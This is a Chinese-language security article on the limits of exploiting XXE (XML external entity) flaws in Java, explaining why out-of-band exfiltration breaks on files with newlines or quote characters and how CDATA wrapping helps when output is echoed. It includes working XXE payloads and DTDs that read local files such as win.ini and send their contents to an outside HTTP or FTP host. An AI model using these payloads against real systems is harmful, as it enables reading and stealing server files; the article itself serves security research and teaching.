1. 程式人生 > 其它 >關於Java 中 XXE 的利用限制探究

關於Java 中 XXE 的利用限制探究

一般而言,在Java裡碰到XXE,如果是有回顯的,那自然很好辦,如果是沒有回顯,那就需要我們構造通道來把資料帶出,過去在XXE利用中,如果單純使用HTTP協議(除了作為結尾的CRLF外,不允許出現單獨的CR或LF字元),是無法讀取具有換行的檔案的。

比如常用作驗證的win.ini檔案就有換行

如果想把該檔案傳送出去,將會報錯 Illegal character in URL

rt.jar!\sun\net\www\http\HttpClient.class中的420行,存在對換行的判斷

if (var1.indexOf(10) == -1) {
return var1;
} else {
throw new MalformedURLException("Illegal character in URL");
}

這個時候如果是PHP環境,那很好辦,給資料編碼一下就可以順利帶出,比如base64

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/evil2.dtd">
%dtd;
%send;
]>
<root></root>

這樣,即使檔案存在Illegal character也可以帶出,但是Java又沒有相關編碼的協議啊,這時候我們往往會利用FTP協議來向外傳遞資料,這些資料本身可能包含\r、\n等字元

看起來似乎很美好,問題得到了解決,但是,我們往往會碰到一些意外情況,如果檔案中有下面這些字元呢

‘ “ < > &

那將會得到以下報錯,實體XXX的宣告必須以>結尾

dtd檔案如下:

<!ENTITY % payload "<!ENTITY &#37; send SYSTEM 'ftp://xxxxxx/%file;'>"> %payload;

這是因為xml在解析的時候,會把實體進行替換,帶有單引號的檔案內容在拼接進字串之後,單引號與send實體的單引號進行了閉合,然後後面的資料就變成了無效資料

如果檔案中單引號後面是除了右尖括號>以外的字元,那麼就會報實體XXX的宣告必須以>結尾的錯誤

如果單引號後恰巧是右尖括號,那也不行,你後面還是有垃圾資料,頂多報錯換一下

那這個時候還有什麼辦法讀取這類的特殊檔案呢?

xml在設計的時候就考慮到了這種情況,雖然一般情況下xml要求要使用這些符號最好是把相應字元用對應實體引用來代替,但是如果是不得不用的情況下,可以使用CDATA方法來讀取。

CDATA 指的是不應由 XML 解析器進行解析的文字資料(Unparsed Character Data),CDATA 部分中的所有內容都會被解析器忽略。CDATA 部分由<![CDATA[開始,由]]>結束:

讓我們對payload進行一下修改:

dtd

<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://xxxx/%start;%r;%end;'>">

payload

<?xml version="1.0"?>
<!DOCTYPE cdl [
<!ENTITY % r SYSTEM "file:///C:/Users/mrzha/Desktop/test.ini">
<!ENTITY % asd SYSTEM "http://111.111.111.40:48111/cdata.dtd">
%asd;%c;%rrr;]>

但是其實這種方法是沒辦法的,因為它還是需要拼接到url裡去,依舊會和外部的單引號閉合,如

但是,CDATA方法可以用於xxe有回顯的情況,也算是一種不錯的方法了。

正常讀取無法讀取

使用CDATA方法讀取,但是請注意,這種情況還是不夠完美,至少對於單獨的 & 符號還是沒辦法

除非構成了完整的實體引用格式

另外JDK的版本更迭對使用FTP作為資訊傳送通道這一個技巧有影響,這也是為什麼高版本無法用FTP來讀取多行檔案,因為FtpURLConnection.class中的static方法checkURL裡的var0.toExternalForm().indexOf(10) > -1,此處解析URL並檢查URL中是否存在換行符(ascii為10),如果存在則丟擲異常

具體checkURL在哪一個版本開始檢查換行,筆者沒有一個一個去看,有興趣的讀者可以找找看

rt.jar!\sun\net\www\protocol\ftp\FtpURLConnection.class

static URL checkURL(URL var0) throws IllegalArgumentException {
if (var0 != null && var0.toExternalForm().indexOf(10) > -1) {
MalformedURLException var3 = new MalformedURLException("Illegal character in URL");
throw new IllegalArgumentException(var3.getMessage(), var3);
} else {
String var1 = IPAddressUtil.checkAuthority(var0);
if (var1 != null) {
MalformedURLException var2 = new MalformedURLException(var1);
throw new IllegalArgumentException(var2.getMessage(), var2);
} else {
return var0;
}
}
}

總結

總的來說,如果是php環境,那自然是萬事大吉,但是在java環境中,如果

有回顯(不需要通過URL外帶):

1. 普通檔案 -> 直接讀取回顯

2. 帶換行檔案 -> 直接讀取回顯

含特殊字元檔案 -> CDATA回顯

3. 含特殊字元且有換行檔案 -> CDATA 回顯

無回顯:

1. 普通檔案 -> HTTP或者FTP都可以帶出

帶換行檔案 -> FTP帶出 3. 含特殊字元檔案 -> 。。暫時沒好的辦法 4. 含特殊字元且有換行的檔案 -> 。。暫時沒好的辦法

另外,需要注意JDK版本的影響

XXE漏洞分析與實踐

合天智匯:合天網路靶場、網安實戰虛擬環境